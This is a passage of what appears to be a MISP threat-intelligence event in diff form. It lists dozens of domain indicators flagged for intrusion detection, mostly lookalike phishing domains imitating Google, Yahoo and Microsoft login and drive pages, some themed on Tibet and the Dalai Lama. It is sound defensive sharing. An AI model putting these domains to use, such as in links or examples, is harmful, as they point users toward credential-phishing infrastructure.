"www.yahoo-verification.us", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17942", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a5e6617-3c34-41c1-9a1d-09238e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516135959", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "www.drive-mail.us", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15639", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "58828772-5f6c-4ee7-adb7-0bbb8e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138453", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "yahoo-noreply.tk", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17943", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a5e6617-ed6c-4dc4-9ef0-09238e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516135959", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "www.login-live.us", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15640", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "58828772-4ec0-4888-a537-0bbb8e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138453", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "yahoo-secure.tk", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17944", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a5e6617-de24-4be4-989c-09238e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516135959", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "www.drive-mail.info", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16153", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "59511af6-6c28-42aa-b561-06b28e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1498487542", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "accounts-mailbox.space", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17945", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a5e6617-6b6c-4c4e-8981-09238e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516135959", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "accounts.gooog1e.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16154", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "595120ce-76a0-4dc0-852e-06b38e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1498489038", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mail-defense.tk", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17946", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a5e6618-7c7c-4624-8a90-09238e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516135960", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "drive.gooog1e.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17947", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a5e6618-e678-425a-bb9f-09238e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516135960", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "drive.mail-status.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17948", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a5e6618-be5c-43ac-9491-09238e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516135960", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "drive.myaccount-mail.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17949", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a5e6618-8c7c-4664-9f5a-09238e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516135960", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "myaccount-mail.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15646", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "58828ebd-afe8-46f2-9782-07298e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1484951229", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "gmail-retry.tk", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17950", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a5e6618-545c-4112-8d51-09238e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516135960", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "https.drive-google.gq", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15647", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "58828ebd-e824-48c2-888e-07298e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1484951229", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mail-163.tk", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17439", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a15eb13-5758-40af-b0d2-5f708e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1511385875", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "accounts-google.co.in", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17951", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a5e6618-37a8-4ec6-88ca-09238e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516135960", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "drive.accounts-gooog1e.online", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15648", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "58828ebd-ef30-4937-b5f0-07298e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1484951229", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "gmail-secure.tk", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17440", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a15eb13-8b7c-47c4-9bca-5f708e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1511385875", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "dalailama.space", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17952", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a5e6618-0500-41e5-b930-09238e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516135960", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "webmail.dalailama.space", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17441", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a15eb13-7720-47c6-8c44-5f708e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1511385875", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "docs-mail.space", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17953", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a5e6618-e1f8-4f65-b342-09238e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516135960", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "www.mail-protect.space", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17442", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a15eb13-28c8-45b7-934a-5f708e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1511385875", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "drive-accounts-google.ga", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17954", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a5e6618-baa4-404c-842e-09238e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516135960", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "www.mail-attachment-usercontent.space", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17443", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a15eb13-82fc-4c1c-b200-5f708e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1511385875", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "drive-google.cf", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17955", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a5e6618-3184-4bb3-8947-09238e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516135960", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "www.drlve-gooog1e.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17444", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a15eb13-ef74-4ea4-9173-5f708e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1511385875", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "drive-google.gq", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17445", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a15eb13-a0ac-44d1-97d8-5f708e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1511385875", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "drive-google.me", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17446", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a15eb13-336c-4698-bda5-5f708e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1511385875", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "drive-google.ml", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16423", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "595d4924-1ce8-45be-b051-06e38e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138453", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "myapp-gooog1e.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17447", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a15eb13-d054-4b3d-8577-5f708e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1511385875", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "drive-google.space", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16424", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "595d4924-e9ec-4caa-be6f-06e38e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138453", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "email-netvigator.info", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17448", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a15eb13-eb0c-48d0-a98d-5f708e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1511385875", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "epochtimes.space", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16425", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "595dc225-f7b0-4818-a102-06e38e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1499316773", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mail-dsi-go.space", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17449", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a15eb13-7070-44b6-a867-5f708e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1511385875", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "gmail-relation.tk", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16426", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "595dc260-a7f4-4875-b35b-06e28e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1499316832", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mail-continue.space", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17450", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a15eb14-314c-4df1-a63c-5f708e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1511385875", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "gmail-ssl.tk", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16427", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "595dc260-e70c-4de7-aac2-06e28e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1499316832", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mail-package.space", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17451", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a15eb14-9ed0-4a34-ae55-5f708e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1511385876", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "google-issue.tk", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17452", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a15eb14-0558-4518-ac84-5f708e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1511385876", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "google-sign.tk", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17453", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a15eb14-b3ec-4060-a321-5f708e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1511385876", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "httpsaccounts-google.cf", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17454", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a15eb14-853c-4a10-a97f-5f708e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1511385876", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "httpsdrive-google.gq", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17455", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a15eb14-595c-4990-a1e2-5f708e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1511385876", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "httpsdrive-myaccounts-google.cf", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17456", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a15eb14-1170-4c82-a6d3-5f708e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1511385876", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "https-google-drive.ml", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17457", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a15eb14-1884-4430-8e51-5f708e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1511385876", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "https-my-accounts-google.gq", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17458", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a15eb14-c00c-4bab-83dc-5f708e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1511385876", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mail-guazi.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17459", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a15eb14-b000-4b12-af5f-5f708e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1511385876", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mail-secret.online", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17460", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a15eb14-755c-4d9e-9a18-5f708e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1511385876", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mail-status.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17461", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a15eb14-5bd8-4238-ae27-5f708e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1511385876", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "myaccounts-google.space", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17462", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a15eb14-a634-40f6-9cc0-5f708e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1511385876", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mydrive-google.space", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17463", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a15eb14-9ebc-4d27-89de-5f708e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1511385876", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "my-office.cf", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17464", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a15eb14-7acc-436d-a895-5f708e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1511385876", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "tibet-office.net", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17465", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a15eb14-9f00-4534-a69f-5f708e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1511385876", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "yahoo-device.tk", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15684", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "588a5521-f080-4aad-93b1-0bbb8e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138453", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "accounts-google.cc", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15689", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5893a06c-4bd4-4112-97a8-0bbb8e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138453", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "httpsdocs-google.info", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15961", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5907849c-97a4-4d52-aca1-5d828e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1493664924", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "drlve-gooog1e.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15962", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "59078a5c-50a0-44b8-be71-53928e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1493666396", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mail-youxinpai.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15963", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "590cd842-783c-4e0d-9d45-53928e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1494014018", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "accounts-gooog1e.asia", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15964", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "590cd918-792c-4c08-a3f7-53928e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1494014232", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "accounts-gooog1e.online", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15965", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "590cdccf-e228-4406-84c2-5d828e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1494015183", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mail-guazi.space", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15966", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "590cdff8-7884-467e-88d4-53938e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1494015992", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mail-sina.space", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15967", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "590ce0f7-43d0-4e1e-9c10-53938e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1494016247", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "winupdate.space", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15968", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "590ce20b-83b4-4cba-9dc7-53938e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1494016523", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "ymail-settings.space", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15970", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "59109412-5e18-4f66-be68-53928e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1494258706", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mail-modular.space", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15972", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5910c536-b214-46e2-9385-5d828e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1494271286", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "login-live.space", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15973", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5910c63a-bc38-4957-b1f0-5d828e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1494271546", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "logln-yahoo.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15974", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5910cb7b-bf90-463b-aba2-5d828e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1494272891", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "webmail-mpt.space", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15975", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "59123c8a-948c-4abd-b79b-5d828e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1494367370", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "wengiguowengui.space", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15730", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "58b44b3a-c44c-4104-9ec1-53938e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138453", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "yahoo-verification.us", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15736", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "58b83e4a-9e80-4357-b4ef-53928e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1488469578", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "drive-mail.us", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15738", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "58b84631-6960-41b3-b7a4-53938e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1488471601", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "docs-mail-google.us", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15739", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "58b98d25-6d24-4081-abae-53928e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1488555301", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "login-live.us", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15780", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "58c2ce5b-4d04-488d-a6c5-53938e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1489161819", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "drive-mail.info", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15786", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "58c676e9-d594-4dcc-8daf-53928e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1489401577", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "gooog1e.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16043", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5919cd19-cb28-413f-9b83-53928e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1494863129", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mail-defense.space", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15788", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "58c67caf-8e54-40a7-be8a-53928e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1489403055", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "drive-goog1e.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16044", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "591e040b-ce60-45df-ba1e-5d828e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1495139339", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "files-gooog1e.space", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15789", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "58c91f4c-dfe8-4639-9ded-53938e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1489575756", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mydrive-mail.asia", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16045", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "591e0d44-e8b8-4c0e-a959-5d828e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1495141700", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mail-extend.space", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15790", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "58dbfa91-0c20-4d50-83d8-53938e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138453", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "accounts-gooog1e.info", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15792", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "58dbfa91-d540-4a8b-a255-53938e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138453", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mail-secret.info", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15793", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "58dbfabb-3344-4411-ba5c-53938e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138453", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "myaccounts-mail.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15794", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "58dbfada-dd70-4742-8b09-53928e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138454", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "yahoo-edit.us", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15796", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": 